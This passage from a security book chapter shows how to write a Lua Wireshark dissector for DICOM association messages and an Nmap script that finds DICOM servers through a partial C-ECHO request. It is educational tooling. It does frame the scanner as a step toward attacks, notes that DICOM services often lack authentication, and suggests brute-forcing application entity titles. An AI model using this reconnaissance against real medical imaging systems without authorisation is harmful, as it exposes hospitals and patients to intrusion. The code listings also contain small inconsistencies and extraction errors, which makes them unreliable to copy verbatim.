figuration file has the DicomServerEnabled flag enabled, and run the Orthanc 
binary. If everything goes smoothly, you should then have a DICOM server 
running on TCP port 4242 (the default port). Enter the orthanc command 
to see the following logs describing configuration options:

$ ./Orthanc
<timestamp> main.cpp:1305] Orthanc version: 1.4.2
<timestamp> OrthancInitialization.cpp:216] Using the default Orthanc 
configuration
<timestamp> OrthancInitialization.cpp:1050] SQLite index directory: "XXX"
<timestamp> OrthancInitialization.cpp:1120] Storage directory: "XXX"
<timestamp> HttpClient.cpp:739] HTTPS will use the CA certificates from this 
file: ./orthancAndPluginsOSX.stable
<timestamp> LuaContext.cpp:103] Lua says: Lua toolbox installed
<timestamp> LuaContext.cpp:103] Lua says: Lua toolbox installed
<timestamp> ServerContext.cpp:299] Disk compression is disabled
<timestamp> ServerIndex.cpp:1449] No limit on the number of stored patients
<timestamp> ServerIndex.cpp:1466] No limit on the size of the storage area
<timestamp> ServerContext.cpp:164] Reloading the jobs from the last execution 
of Orthanc
<timestamp> JobsEngine.cpp:281] The jobs engine has started with 2 threads
<timestamp> main.cpp:848] DICOM server listening with AET ORTHANC on port: 
4242
<timestamp> MongooseServer.cpp:1088] HTTP compression is enabled
<timestamp> MongooseServer.cpp:1002] HTTP server listening on port: 8042 
(HTTPS encryption is disabled, remote access is not allowed)
<timestamp> main.cpp:667] Orthanc has started

If you don’t want to install Orthanc to follow along, you can find sample 
packet captures in the online resources for this book or at the Wireshark 
Packet Sample Page for DICOM. 

Enabling Lua in Wireshark
Before jumping into the code, make sure you’ve installed Lua and enabled 
it in your Wireshark installation. You can check whether it’s available in the 
“About Wireshark” window, as shown in Figure 5-4.
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Figure 5-4: The About Wireshark window shows that Lua is supported

The Lua engine is disabled by default. To enable it, set the boolean 
variable disable_lua to false in the init.lua file in your Wireshark installation 
directory:

disable_lua = false

After checking whether it’s available and enabling Lua, double-check 
that Lua support is working correctly by writing a test script and then run-
ning it as follows:

$ tshark -X lua_script:<your Lua test script>

If we include a simple print statement (like the line print "Hello from 
Lua") in the test file, we should see the output before the capture begins.

$ tshark -X lua_script:test.lua
Hello from Lua
Capturing on 'ens33'
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On Windows, you might not see output if you use a regular print state-
ment. But the report_failure() function will open a window containing your 
message, so it’s a good alternative. 

Defining the Dissector
Let’s define our new protocol dissector using the Proto(name, description) 
function. As mentioned earlier, this dissector will specifically identify 
DICOM A-type messages (one of the seven messages listed earlier):

dicom_protocol = Proto("dicom-a",  "DICOM A-Type message")

Next, we define the header fields in Wireshark to match the DICOM 
PDU structure discussed previously with the help of the ProtoField class:

1 pdu_type = ProtoField.uint8("dicom-a.pdu_type","pduType",
base.DEC, {[1]="ASSOC Request",
 [2]="ASSOC Accept",
 [3]="ASSOC Reject",
 [4]="Data",
 [5]="RELEASE Request",
 [6]="RELEASE Response",
 [7]="ABORT"}) -- unsigned 8-bit integer

2 �message_length = ProtoField.uint16("dicom-a.message_length", "messageLength", 
base.DEC) -- unsigned 16-bit integer

3 dicom_protocol.fields = {pdu_type, message_length}

We use these ProtoFields to add items to the dissection tree. For our 
dissector, we’ll call ProtoField twice: once to create the one-byte unsigned 
integer to store the PDU type 1 and a second time for two bytes to store 
the message length 2. Note how we assigned a table of values for PDU 
types. Wireshark will automatically display this information. Then we set 
our protocol dissector fields 3 to a Lua table containing our ProtoFields.

Defining the Main Protocol Dissector Function
Next, we declare our main protocol dissector function, dissector(), which 
has three arguments: a buffer for Wireshark to dissect, packet information, 
and a tree that displays protocol information. 

In this dissector() function, we’ll dissect our protocol and add 
the ProtoFields we defined earlier to the tree containing our protocol 
information. 

function dicom_protocol.dissector(buffer, pinfo, tree)
1 pinfo.cols.protocol = dicom_protocol.name
  local subtree = tree:add(dicom_protocol, buffer(), "DICOM PDU")
  subtree:add_le(pdu_type, buffer(0,1)) -- big endian
  subtree:add(message_length, buffer(2,4)) -- skip 1 byte
end
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We set the protocol field to the protocol name we defined in dicom_protocol 
.name 1. For each item we want to add, we use either add_le() for Big-Endian 
data  or add() for Little Endian, along with a ProtoField and the buffer range to 
dissect.

Completing the Dissector
The DissectorTable holds a table of subdissectors for the protocol, shown 
through the Decode dialog in Wireshark. 

local tcp_port = DissectorTable.get("tcp.port")
tcp_port:add(4242, dicom_protocol)

To complete the dissector, we simply add our dissector to the 
DissectorTable for TCP ports at port 4242. 

Listing 5-1 shows the dissector in its entirety.

dicom_protocol = Proto("dicom-a",  "DICOM A-Type message")
pdu_type = ProtoField.uint8("dicom-a.pdu_type", "pduType", base.DEC, {[1]="ASSOC Request", 
[2]="ASSOC Accept", [3]=”ASSOC Reject”, [4]=”Data”, [5]=”RELEASE Request”, [6]=”RELEASE 
Response”, [7]=”ABORT”})
message_length = ProtoField.uint16("dicom-a.message_length", "messageLength", base.DEC)

dicom_protocol.fields = {message_length, pdu_type} 1

function dicom_protocol.dissector(buffer, pinfo, tree)
  pinfo.cols.protocol = dicom_protocol.name
  local subtree = tree:add(dicom_protocol, buffer(), "DICOM PDU")
  subtree:add_le(pdu_type, buffer(0,1))
  subtree:add(message_length, buffer(2,4))
end

local tcp_port = DissectorTable.get("tcp.port")
tcp_port:add(4242, dicom_protocol)

Listing 5-1: The completed DICOM A-type message dissector

We enable this dissector by putting the .lua file inside Wireshark’s 
plug-in directory and then reloading Wireshark. Then, when we analyze 
a DICOM capture, we should see the pduType byte and message length dis-
played under the DICOM PDU column we defined in our tree:add() call. 
Figure 5-5 shows this in Wireshark. You can use the dicom-a.message_length 
and dicom-a.pdu_type filters we defined 1 to filter traffic, too.
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Figure 5-5: The DICOM dissector in Lua for A-type messages in Wireshark

Now we can clearly identify the PDU type and message length in 
DICOM packets. 

Building a C-ECHO Requests Dissector
When we analyze a C-ECHO request with our new dissector, we should 
see that it’s composed of different A-type messages, like those shown in 
Figure 5-5. The next step is to analyze the data contained in these DICOM 
packets. 

To show how we can handle strings in our Lua dissector, let’s add some 
code to our dissector to parse an A-ASSOCIATE message. Figure 5-6 shows 
the structure of an A-ASSOCIATE request.

PDU type

1 byte 

Reserved 
(0x0)

1 byte

PDU length

4 bytes

Protocol
version

2 bytes

Reserved 
(0x0)

2 bytes

Called
application
entity title

16 bytes

Reserved 
(0x0)

32 bytes

Application +
Presentation +
User Info
Context

Variable length

Figure 5-6: The structure of an A-ASSOCIATE request
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 Notice the 16-byte-long called and calling application entity titles. An 
application entity title is a label that identifies a service provider. The message 
also includes a 32-byte-long reserved section that should be set to 0x0 and 
variable-length items, including an Application Context item, Presentation 
Context items, and a User Info item.

Extracting the String Values of the Application Entity Titles
Let’s start by extracting the message’s fixed-length fields, including the 
string values of the calling and called application entity titles. This is use-
ful information; often, services lack authentication, so if you have the 
correct application entity title, you can connect and start issuing DICOM 
commands. We can define new ProtoField objects for our A-ASSOCIATE 
request message with the following code:

 protocol_version = ProtoField.uint8("dicom-a.protocol_version", 
"protocolVersion", base.DEC)
calling_application = ProtoField.string(1 "dicom-a.calling_app", 2 
"callingApplication")
called_application = ProtoField.string("dicom-a.called_app", 
"calledApplication")

To extract the string values of called and calling application entity 
titles, we use the ProtoField ProtoField.string function. We pass it a name to 
use in the filters 1, an optional name to display in the tree 2, the display 
format (either base.ASCII or base.UNICODE), and an optional description field.

Populating the Dissector Function
After adding our new ProtoFields as fields to our protocol dissector, we 
need to add code to populate them in our dissector function, dicom_protocol 
.dissector(), so they’re included in the protocol display tree: 

1 local pdu_id = buffer(0, 1):uint() -- Convert to unsigned int
 if pdu_id == 1 or pdu_id == 2 then -- ASSOC-REQ (1) / ASSOC-RESP (2)
    local assoc_tree = 2subtree:add(dicom_protocol, buffer(), "ASSOCIATE REQ/
RSP")
    assoc_tree:add(protocol_version, buffer(6, 2))
    assoc_tree:add(calling_application, buffer(10, 16))
    assoc_tree:add(called_application, buffer(26, 16))
end

Our dissector should add the extracted fields to a subtree in our pro-
tocol tree. To create a subtree, we call the add() function from our existing 
protocol tree 2. Now our simple dissector can identify PDU types, mes-
sage lengths, the type of ASSOCIATE message 1, the protocol, the calling 
application, and the called application. Figure 5-7 shows the result.
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Figure 5-7: Subtrees added to existing protocol trees

Parsing Variable-Length Fields
Now that we’ve identified and parsed the fixed-length sections, let’s parse 
the message’s variable-length fields. In DICOM, we use identifiers called 
contexts to store, represent, and negotiate different features. We’ll show you 
how to locate the three different types of contexts available: the Application 
Context, Presentation Contexts, and User Info Context, which have a 
variable number of item fields. But we won’t write code to parse the item 
contents. 

For each of the contexts, we’ll add a subtree that displays the length of 
the context and the variable number of context items. Modify the main pro-
tocol dissector so it looks as follows:

function dicom_protocol.dissector(buffer, pinfo, tree)
  pinfo.cols.protocol = dicom_protocol.name
  local subtree = tree:add(dicom_protocol, buffer(), "DICOM PDU")
  local pkt_len = buffer(2, 4):uint()
  local pdu_id = buffer(0, 1):uint()
  subtree:add_le(pdu_type, buffer(0,1))
  subtree:add(message_length, buffer(2,4))
  if pdu_id == 1 or pdu_id == 2 then -- ASSOC-REQ (1) / ASSOC-RESP (2)
    local assoc_tree = subtree:add(dicom_protocol, buffer(), "ASSOCIATE REQ/RSP")
    assoc_tree:add(protocol_version, buffer(6, 2))
    assoc_tree:add(calling_application, buffer(10, 16))
    assoc_tree:add(called_application, buffer(26, 16))
    
    --Extract Application Context 1
    local context_variables_length = buffer(76,2):uint() 2
    local app_context_tree = assoc_tree:add(dicom_protocol, buffer(74, context_variables_length 
+ 4), "Application Context") 3
    app_context_tree:add(app_context_type, buffer(74, 1))
    app_context_tree:add(app_context_length, buffer(76, 2))
    app_context_tree:add(app_context_name, buffer(78, context_variables_length))
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    --Extract Presentation Context(s) 4
    local presentation_items_length = buffer(78 + context_variables_length + 2, 2):uint()
    local presentation_context_tree = assoc_tree:add(dicom_protocol, buffer(78 + context_
variables_length, presentation_items_length + 4), "Presentation Context")
    presentation_context_tree:add(presentation_context_type, buffer(78 + context_variables_
length, 1))
    presentation_context_tree:add(presentation_context_length, buffer(78 + context_variables_
length + 2, 2))

	     -- TODO: Extract Presentation Context Items	

    --Extract User Info Context 5
    local user_info_length = buffer(78 + context_variables_length + 2 + presentation_items_
length + 2 + 2, 2):uint()
    local userinfo_context_tree = assoc_tree:add(dicom_protocol, buffer(78 + context_variables_
length + presentation_items_length + 4, user_info_length + 4), "User Info Context")
    userinfo_context_tree:add(userinfo_length, buffer(78 + context_variables_length + 2 + 
presentation_items_length + 2 + 2, 2))

    -- TODO: Extract User Info Context Items
  end
end

When working with network protocols, you’ll often find variable-length 
fields that require you to calculate offsets. It’s very important that you get 
the length values correct, because all offset calculations depend on them. 

Keeping this in mind, we extract the Application Context 1, Presentation 
Contexts 4, and User Info Context 5. For each context, we extract the length 
of the context 2 and add a subtree for the information contained in that  
context 3. We add individual fields using the add() function and calculate  
the string offsets based on the length of the fields. We obtain all of this 
from the packet received using the buffer() function.  

Testing the Dissector
After applying the changes referenced in “Parsing Variable-Length 
Fields,” make sure your DICOM packets are parsed correctly by check-
ing the reported lengths. You should now see a subtree for each context 
(Figure 5-8). Note that because we provide a buffer range in our new sub-
trees, you can select them to highlight the corresponding section. Take a 
moment to verify that each context of the DICOM protocol is recognized as 
expected. 
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Figure 5-8: User Info Context is 58. The highlighted message is 62 bytes (58 bytes of 
data, 1 byte for the type, 1 reserved byte, and 2 bytes for the size).

If you want more practice, we encourage you to add fields from the dif-
ferent contexts to the dissector. You can grab a DICOM packet capture from 
the Wireshark Packet Sample page, where we submitted a capture contain-
ing a DICOM ping. You’ll also find the full example, including TCP frag-
mentation, in this book’s online resources. Remember that you can reload 
the Lua scripts at any time to test your latest dissector without restarting 
Wireshark by clicking Analyze Reload Lua plugins. 

Writing a DICOM Service Scanner for the 
Nmap Scripting Engine

Earlier in this chapter, you learned that DICOM has a ping-like utility 
called a C-Echo request formed by several A-type messages. You then wrote 
a Lua dissector to analyze these messages with Wireshark. Now you’ll use 
Lua to tackle another task: writing a DICOM service scanner. The scan-
ner will identify DICOM service providers (DSP) remotely on networks to 
actively test their configurations and even launch attacks. Because Nmap is 
well known for its scanning capabilities and its scripting engine also runs in 
Lua, it’s the perfect tool for writing such a scanner. 

For this exercise, we’ll focus on the subset of functions related to send-
ing a partial C-ECHO request. 
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Writing an Nmap Scripting Engine Library for DICOM
We’ll begin by creating an Nmap Scripting Engine library for our DICOM-
related code. We’ll use the library to store any functions used in socket cre-
ation and destruction, sending and receiving DICOM packets, and actions 
like associating and querying services. 

Nmap already includes libraries to help you perform common input/
output (I/O) operations, socket handling, and other tasks. Take a moment 
to review the library collection so you’ll know what’s already available. Read 
the documentation for these scripts and libraries at https://nmap.org/nsedoc/.

You can usually find Nmap Scripting Engine libraries in the <instal-
lation directory>/nselib/ folder. Locate this directory, and then create a file 
called dicom.lua. In this file, begin by declaring other standard Lua and 
Nmap Scripting Engine libraries used. Also, tell the environment the name 
of the new library:

local nmap = require "nmap"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local nsedebug = require "nsedebug"

_ENV = stdnse.module("dicom", stdnse.seeall)

In this case, we’ll use four different libraries: two Nmap Scripting Engine 
libraries (nmap and stdnse) and two standard Lua libraries (string and table). 
The Lua libraries string and table are, unsurprisingly, for string and table 
operations. We’ll mainly use the nmap library socket handling, and we’ll use 
stdnse for reading user-supplied arguments and printing debug statements 
when necessary. We’ll also use the helpful nsedebug library, which displays dif-
ferent data types in a human-readable form.

DICOM Codes and Constants
Now let’s define some constants to store the PDU codes, UUID values, and 
the minimum and maximum allowed size for packets. Doing so will allow 
you to write cleaner code that is easier to maintain. In Lua, we typically 
define constants in capital letters:

local MIN_SIZE_ASSOC_REQ = 68 -- Min size of a ASSOCIATE req 1
local MAX_SIZE_PDU = 128000 -- Max size of any PDU
local MIN_HEADER_LEN = 6 -- Min length of a DICOM heade
local PDU_NAMES = {}
local PDU_CODES = {}
local UID_VALUES = {}
-- Table for PDU names to codes 2
PDU_CODES =
{ 
  ASSOCIATE_REQUEST  = 0x01,
  ASSOCIATE_ACCEPT   = 0x02,
  ASSOCIATE_REJECT   = 0x03,

https://nmap.org/nsedoc/
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  DATA               = 0x04,
  RELEASE_REQUEST    = 0x05,
  RELEASE_RESPONSE   = 0x06,
  ABORT              = 0x07
}
-- Table for UID names to values
UID_VALUES =
{
  VERIFICATION_SOP = "1.2.840.10008.1.1", -- Verification SOP Class
  APPLICATION_CONTEXT = "1.2.840.10008.3.1.1.1", -- DICOM Application Context Name
  IMPLICIT_VR = "1.2.840.10008.1.2", -- Implicit VR Little Endian: Default Transfer Syntax for 
DICOM
  FIND_QUERY = "1.2.840.10008.5.1.4.1.2.2.1" -- Study Root Query/Retrieve Information Model - 
FIND
}

-- We store the names using their codes as keys for printing PDU type names
for i, v in pairs(PDU_CODES) do
  PDU_NAMES[v] = i
end

Here we define constant values for common DICOM operation codes. 
We also define tables to represent different data classes through UIDs 2 
and DICOM-specific packet lengths 1. Now we’re ready to start communi-
cating with the service.

Writing Socket Creation and Destruction Functions
To send and receive data, we’ll use the Nmap Scripting Engine library 
nmap. Because socket creation and destruction are common operations, it’s 
a good idea to write functions for them inside our new library. Let’s write 
our first function, dicom.start_connection(), which creates a socket to the 
DICOM service:

1 ---
-- start_connection(host, port) starts socket to DICOM service
--
-- @param host Host object
-- @param port Port table
-- @return (status, socket) If status is true, the DICOM object holding the 
socket is returned.
--                          If status is false, socket is the error message.
---
function start_connection(host, port)
  local dcm = {}
  local status, err
2 dcm['socket'] = nmap.new_socket()

  status, err = dcm['socket']:connect(host, port, "tcp")

  if(status == false) then
    return false, "DICOM: Failed to connect to service: " .. err
  end
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  return true, dcm
end

Note the NSEdoc block format at the beginning of the function 1. If 
you’re planning on submitting your script to the official Nmap repository, 
you must format it according to the rules described in the Nmap code stan-
dards page (https://secwiki.org/w/Nmap/Code_Standards). Our new function, 
dicom.start_connection(host, port), takes the host and port table containing 
the scanned service information, creates a table, and assigns a field named 
‘socket’ to our newly created socket 2. We’ll omit the close_connection func-
tion for now to save space, because it’s a very similar process to starting a 
connection (you just make a call to close() instead of connect()). When the 
operation succeeds, the function returns the boolean true and the new 
DICOM object. 

Defining Functions for Sending and Receiving DICOM Packets
Similarly, we create functions for sending and receiving DICOM packets: 

-- send(dcm, data) Sends DICOM packet over established socket
--
-- @param dcm DICOM object
-- @param data Data to send
-- @return status True if data was sent correctly, otherwise false and error 
message is returned.
function send(dcm, data)
  local status, err
  stdnse.debug2("DICOM: Sending DICOM packet (%d bytes)", #data)
  if dcm["socket"] ~= nil then

    1 status, err = dcm["socket"]:send(data)
    if status == false then
      return false, err
    end
  else
    return false, "No socket available"
  end
  return true
end

-- receive(dcm) Reads DICOM packets over an established socket
--
-- @param dcm DICOM object
-- @return (status, data) Returns data if status true, otherwise data is the 
error message.
function receive(dcm)

  2 local status, data = dcm["socket"]:receive()
  if status == false then
    return false, data
  end
  stdnse.debug2("DICOM: receive() read %d bytes", #data)
  return true, data
end

https://secwiki.org/w/Nmap/Code_Standards
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The send(dcm, data) and receive(dcm) functions use the Nmap socket func-
tions send() and receive(), respectively. They access the connection handle 
stored in the dcm['socket'] variable to read 2 and write DICOM packets 1 
over the socket. 

Note the stdnse.debug[1-9] calls, which are used to print debug statements 
when Nmap is running with the debugging flag (-d). In this case, using stdnse 
.debug2() will print when the debugging level is set to 2 or higher.

Creating DICOM Packet Headers
Now that we’ve set up the basic network I/O operations, let’s create the func-
tions in charge of forming the DICOM messages. As mentioned previously, 
a DICOM PDU uses a header to indicate its type and length. In the Nmap 
Scripting Engine, we use strings to store the byte streams and the string 
functions string.pack() and string.unpack() to encode and retrieve the infor-
mation, taking into account different formats and endianness. To use string 
.pack() and string.unpack(), you’ll need to become familiar with Lua’s format 
strings, because you’ll need to represent data in various formats. You can 
read about them at https://www.lua.org/manual/5.3/manual.html#6.4.2. Take a 
moment to learn the endianness notations and common conversions.

---
-- pdu_header_encode(pdu_type, length) encodes the DICOM PDU header
--
-- @param pdu_type PDU type as an unsigned integer
-- @param length Length of the DICOM message
-- @return (status, dcm) If status is true, the header is returned.
--                       If status is false, dcm is the error message.
---
function pdu_header_encode(pdu_type, length)
  -- Some simple sanity checks, we do not check ranges to allow users to create malformed 
packets.
  if not(type(pdu_type)) == "number" then 1
    return false, "PDU Type must be an unsigned integer. Range:0-7"
  end
  if not(type(length)) == "number" then
    return false, "Length must be an unsigned integer."
  end

  local header = string.pack("2<B >B I43",
                            pdu_type, -- PDU Type ( 1 byte - unsigned integer in Big Endian )
                            0,        -- Reserved section ( 1 byte that should be set to 0x0 )
                            length)   -- PDU Length ( 4 bytes - unsigned integer in Little 
Endian)

  if #header < MIN_HEADER_LEN then
    return false, "Header must be at least 6 bytes. Something went wrong."
  end
  return true, header 4
end

https://www.lua.org/manual/5.3/manual.html#6.4.2
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The pdu_header_encode() function will encode the PDU type and length 
information. After doing some simple sanity checks 1, we define the header 
variable. To encode the byte stream according to the proper endianness 
and format, we use string.pack() and the format string <B >B I4, where  <B 
represents a single byte in Big Endian 2, and >B I4 represents a byte, fol-
lowed by an unsigned integer of four bytes, in Little Endian 3. The func-
tion returns a boolean representing the operation status and the result 4. 

Writing the A-ASSOCIATE Requests Message Contexts
Additionally, we need to write a function that sends and parses the 
A-ASSOCIATE requests and responses. As you saw earlier in this chapter, 
the A-ASSOCIATE request message contains different types of contexts: 
Application, Presentations, and User Info. Because this is a longer function, 
let’s break it into parts. 

The Application Context explicitly defines the service elements and 
options. In DICOM, you’ll often see Information Object Definitions (IODs) 
that represent data objects managed through a central registry. You’ll find 
the full list of IODs at http://dicom.nema.org/dicom/2013/output/chtml/part06/
chapter_A.html. We’ll be reading these IODs from the constant definitions 
we placed at the beginning of our library. Let’s start the DICOM connec-
tion and create the Application Context. 

---
-- associate(host, port) Attempts to associate to a DICOM Service Provider by sending an 
A-ASSOCIATE request.
--
-- @param host Host object
-- @param port Port object
-- @return (status, dcm) If status is true, the DICOM object is returned.
--                       If status is false, dcm is the error message.
---

function associate(host, port, calling_aet_arg, called_aet_arg)
  local application_context = ""
  local presentation_context = ""
  local userinfo_context = ""

  local status, dcm = start_connection(host, port)
  if status == false then
    return false, dcm
  end

  application_context = string.pack(">1B 2B 3I2 4c" .. #UID_VALUES["APPLICATION_CONTEXT"],
                                    0x10, -- Item type (1 byte)
                                    0x0,   -- Reserved ( 1 byte)
                                    #UID_VALUES["APPLICATION_CONTEXT"], -- Length (2 bytes)
                                    UID_VALUES["APPLICATION_CONTEXT"]) -- Application Context 
OID

http://dicom.nema.org/dicom/2013/output/chtml/part06/chapter_A.html
http://dicom.nema.org/dicom/2013/output/chtml/part06/chapter_A.html
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An Application Context includes its type (one byte) 1, a reserved field 
(one byte) 2, the length of the context (two bytes) 3, and the value rep-
resented by OIDs 4. To represent this structure in Lua, we use the format 
string B B I2 C[#length]. We can omit the size value from strings of one byte. 

We create the Presentation and User Info Contexts in a similar way. 
Here is the Presentation Context, which defines the Abstract and Transfer 
Syntax. The Abstract Syntax and Transfer Syntax are sets of rules for format-
ting and exchanging objects, and we represent them with IODs.

presentation_context = string.pack(">B B I2 B B B B B B I2 c" .. #UID_VALUES["VERIFICATION_
SOP"] .. "B B I2 c".. #UID_VALUES["IMPLICIT_VR"],
                                    0x20, -- Presentation context type ( 1 byte )
                                    0x0,  -- Reserved ( 1 byte )
                                    0x2e,   -- Item Length ( 2 bytes )
                                    0x1,  -- Presentation context id ( 1 byte )
                                    0x0,0x0,0x0,  -- Reserved ( 3 bytes )
                                    0x30, -- Abstract Syntax Tree ( 1 byte )
                                    0x0,  -- Reserved ( 1 byte )
                                    0x11,     -- Item Length ( 2 bytes )
                                    UID_VALUES["VERIFICATION_SOP"],
                                    0x40, -- Transfer Syntax ( 1 byte )
                                    0x0,  -- Reserved ( 1 byte )
                                    0x11,     -- Item Length ( 2 bytes )
                                    UID_VALUES["IMPLICIT_VR"])

Note that there can be several Presentation Contexts. Next, we define 
the User Info Context:

  local implementation_id = "1.2.276.0.7230010.3.0.3.6.2"
  local implementation_version = "OFFIS_DCMTK_362"
  userinfo_context = string.pack(">B B I2 B B I2 I4 B B I2 c" .. #implementation_id .. " B B I2 
c".. #implementation_version,
                                0x50,    -- Type 0x50 (1 byte)
                                0x0,     -- Reserved ( 1 byte )
                                0x3a,    -- Length ( 2 bytes )
                                0x51,    -- Type 0x51 ( 1 byte) 
                                0x0,     -- Reserved ( 1 byte)
                                0x04,     -- Length ( 2 bytes )
                                0x4000,   -- DATA ( 4 bytes )
                                0x52,    -- Type 0x52 (1 byte)
                                0x0,      -- Reserved (1 byte)
                                0x1b,    -- Length (2 bytes)
                                implementation_id, -- Impl. ID (#implementation_id bytes)
                                0x55,   -- Type 0x55 (1 byte)
                                0x0,     -- Reserved (1 byte)
                                #implementation_version,  -- Length (2 bytes)
                                implementation_version)

We now have three variables holding the contexts: application_context, 
presentation_context, and userinfo_context. 
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Reading Script Arguments in the Nmap Scripting Engine
We’ll append the contexts we just created to the header and A-ASSOCIATE 
request. To allow other scripts to pass arguments to our function and use 
different values for the calling and called application entity titles, we’ll offer 
two options: an optional argument or user supplied input. In the Nmap 
Scripting Engine, you can read script arguments supplied by --script-args 
using the Nmap Scripting Engine function stdnse.get_script_args(), as 
follows:

local called_ae_title = called_aet_arg or stdnse.get_script_args("dicom.called_aet") or "ANY-
SCP"
  local calling_ae_title = calling_aet_arg or stdnse.get_script_args("dicom.calling_aet") or 
"NMAP-DICOM"
  if #calling_ae_title > 16 or #called_ae_title > 16 then
    return false, "Calling/Called AET field can't be longer than 16 bytes."
  end

The structure that holds the application entity titles must be 16 bytes 
long, so we use string.rep() to fill in the rest of the buffer with spaces:

  --Fill the rest of buffer with %20
  called_ae_title = called_ae_title .. string.rep(" ", 16 - #called_ae_title)
  calling_ae_title = calling_ae_title .. string.rep(" ", 16 - #calling_ae_title)

Now we can define our own calling and called application entity titles 
using script arguments. We could also use script arguments to write a tool 
that attempts to guess the correct application entity as if we were brute forc-
ing a password.

Defining the A-ASSOCIATE Request Structure
Let’s put our A-ASSOCIATE request together. We define its structure the 
same way we did in the contexts: 

 -- ASSOCIATE request
  local assoc_request = string.pack("1>I2 2I2 3c16 4c16 5c32 6c" .. application_
context:len() .. " 7c" .. presentation_context:len() .. " 8c".. userinfo_context:len(),
                                  0x1, -- Protocol version ( 2 bytes )
                                  0x0, -- Reserved section ( 2 bytes that should be set to 0x0 )
                                  called_ae_title, -- Called AE title ( 16 bytes)
                                  calling_ae_title, -- Calling AE title ( 16 bytes)
                                  0x0, -- Reserved section ( 32 bytes set to 0x0 )
                                  application_context,
                                  presentation_context,
                                  userinfo_context)

We begin by specifying the protocol version (two bytes) 1, a reserved 
section (two bytes) 2, the called application entity title (16 bytes) 3, the 
calling application entity title (16 bytes) 4, another reserved section (32 
bytes) 5, and the contexts we just created (application 6, presentation 7, 
and userinfo 8) .
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Now our A-ASSOCIATE request is just missing its header. It’s time to 
use the dicom.pdu_header_encode() function we defined earlier to generate it: 

local status, header = pdu_header_encode(PDU_CODES["ASSOCIATE_REQUEST"], #assoc_request) 1

  -- Something might be wrong with our header
  if status == false then
    return false, header
  end

assoc_request = header .. assoc_request 2
  stdnse.debug2("PDU len minus header:%d", #assoc_request-#header)
  if #assoc_request < MIN_SIZE_ASSOC_REQ then
    return false, string.format("ASSOCIATE request PDU must be at least %d bytes and we tried 
to send %d.", MIN_SIZE_ASSOC_REQ, #assoc_request)
  end

We create a header 1 with the PDU type set to the A-ASSOCIATE 
request value and then append the message body 2. We also add some 
error-checking logic here.

Now we can send the complete A-ASSOCIATE request and read the 
response with some help from our previously defined functions for sending 
and reading DICOM packets:

  status, err = send(dcm, assoc_request)
  if status == false then
    return false, string.format("Couldn't send ASSOCIATE request:%s", err)
  end
  status, err = receive(dcm)
  if status == false then
    return false, string.format("Couldn't read ASSOCIATE response:%s", err)
  end

  if #err < MIN_SIZE_ASSOC_RESP
 then
    return false, "ASSOCIATE response too short."
  end

Great! Next, we’ll need to detect the PDU type used to accept or reject 
the connection.

Parsing A-ASSOCIATE Responses
At this point, the only task left to do is parse the response with some help 
from string.unpack(). It’s similar to string.pack(), and we use format strings 
to define the structure to be read. In this case, we read the response type 
(one byte), the reserved field (one byte), the length (four bytes), and the 
protocol version (two bytes) corresponding to the format string >B B I4 I2: 

  local resp_type, _, resp_length, resp_version = string.unpack(">B B I4 I2", err)
  stdnse.debug1("PDU Type:%d Length:%d Protocol:%d", resp_type, resp_length, resp_version)
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Then we check the response code to see if it matches the PDU code for 
ASSOCIATE acceptance or rejection:

  if resp_type == PDU_CODES["ASSOCIATE_ACCEPT"] then
    stdnse.debug1("ASSOCIATE ACCEPT message found!")
    return true, dcm
  elseif resp_type == PDU_CODES["ASSOCIATE_REJECT"] then
    stdnse.debug1("ASSOCIATE REJECT message found!")
    return false, "ASSOCIATE REJECT received"
  else
    return false, "Unexpected response:" .. resp_type
  end
end -- end of function

If we receive an ASSOCIATE acceptance message, we’ll return true; 
otherwise, we’ll return false.

Writing the Final Script
Now that we’ve implemented a function to associate with the service, we cre-
ate the script that loads the library and calls the dicom.associate() function: 

description = [[
Attempts to discover DICOM servers (DICOM Service Provider) through a partial C-ECHO request.

C-ECHO requests are commonly known as DICOM ping as they are used to test connectivity.
Normally, a 'DICOM ping' is formed as follows:
* Client -> A-ASSOCIATE request -> Server
* Server -> A-ASSOCIATE ACCEPT/REJECT -> Client
* Client -> C-ECHO request -> Server
* Server -> C-ECHO response -> Client
* Client -> A-RELEASE request -> Server
* Server -> A-RELEASE response -> Client

For this script we only send the A-ASSOCIATE request and look for the success code in the 
response as it seems to be a reliable way of detecting a DICOM Service Provider.
]]

---
-- @usage nmap -p4242 --script dicom-ping <target>
-- @usage nmap -sV --script dicom-ping <target>
-- 
-- @output
-- PORT     STATE SERVICE REASON
-- 4242/tcp open  dicom   syn-ack
-- |_dicom-ping: DICOM Service Provider discovered
---
 
author = "Paulino Calderon <calderon()calderonpale.com>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "default"}
 
local shortport = require "shortport"
local dicom = require "dicom"
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local stdnse = require "stdnse"
local nmap = require "nmap"

portrule = shortport.port_or_service({104, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open")

action = function(host, port)
  local dcm_conn_status, err = dicom.associate(host, port)
  if dcm_conn_status == false then
    stdnse.debug1("Association failed:%s", err)
    if nmap.verbosity() > 1 then
      return string.format("Association failed:%s", err)
    else
      return nil
    end
  end
  -- We have confirmed it is DICOM, update the service name
  port.version.name = "dicom"
  nmap.set_port_version(host, port)
  
  return "DICOM Service Provider discovered" 
end

First, we fill in some required fields, such as a description, author, 
license, categories, and an execution rule. We declare the main function of 
the script with the name action as a Lua function. You can learn more about 
script formats by reading the official documentation (https://nmap.org/book/
nse-script-format.html) or by reviewing the collection of official scripts. 

If the script finds a DICOM service, the script returns the following 
output:

Nmap scan report for 127.0.0.1

PORT     STATE SERVICE REASON
4242/tcp open  dicom   syn-ack
|_dicom-ping: DICOM Service Provider discovered
Final times for host: srtt: 214 rttvar: 5000  to: 100000

Otherwise, the script returns no output, because by default Nmap only 
shows information when it accurately detects a service.

Conclusion
In this chapter, you learned how to work with new network protocols 
and created tools for the most popular frameworks for network scanning 
(Nmap) and traffic analysis (Wireshark). You also learned how to perform 
common operations, such as creating common data structures, handling 
strings, and performing network I/O operations, to quickly prototype new 
network security tools in Lua. With this knowledge, you can tackle the chal-
lenges presented in this chapter (or new ones) to hone your Lua skills. In 
the constantly evolving IoT world, the ability to quickly write new network 
exploitation tools is very handy. 

https://nmap.org/book/nse-script-format.html
https://nmap.org/book/nse-script-format.html
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In addition, don’t forget to stick to a methodology when performing 
security assessments. The one presented in this chapter is only a start-
ing point for understanding and detecting network protocol anomalies. 
Because the topic is very extensive, we couldn’t cover all common tasks 
